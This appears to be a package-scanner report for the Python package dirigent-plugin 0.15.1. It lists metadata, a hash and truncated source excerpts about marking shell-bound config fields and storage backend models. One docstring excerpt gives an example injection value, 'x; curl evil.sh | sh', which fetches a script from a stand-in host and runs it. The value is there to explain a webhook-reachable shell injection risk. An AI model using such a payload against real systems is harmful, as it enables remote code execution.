dirigent-plugin 0.15.1
“The dirigent plugin contract: block specs, protocols, and markers.”
Python storage backend interfacePyPI metadata declares an HTTP client dependency
SHA-256576c1e955a443fe8108b66128fc5709da475808ef9261e0f0ee71e769ce7fab0
MaleculeH(Po₂)Md(Pa)
Evidence
85:42… d value is handed to a shell to parse.
86
87 A block that runs ``sh -c`` on a config string has a problem the block cannot solve on
88 its own: by the time it sees the string, the engine has alread …
90:18… able from one that arrived in a webhook payload. So ``command: "load
91 ${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
92 reachable by whoever can POST to a webhook.
93
94 Marking the field pushes the knowledge to where the …
105:49… tMediaType: text/x-shellscript`` and a form
106 generated from the schema edits it as source rather than as one line of text.
107 """
108
109 __slots__ = ()
110
111 …
259:18… roup_from_id(data)
260
261
262class StatResult(BaseModel):
263 """What a storage backend knows about one object without reading it."""
264
265 uri: str = Field(min_length=1)
266 size: int = Field(ge=0)
267 modified_at: …
713:16… face, collected in merged.items():
714 collected.extend(getattr(contribution, surface))
715 formats: dict[str, FormatCheck] = {}
716 _require_unique("format", [name for contribution in contri …
No evidence locations were recorded for this file. Raw result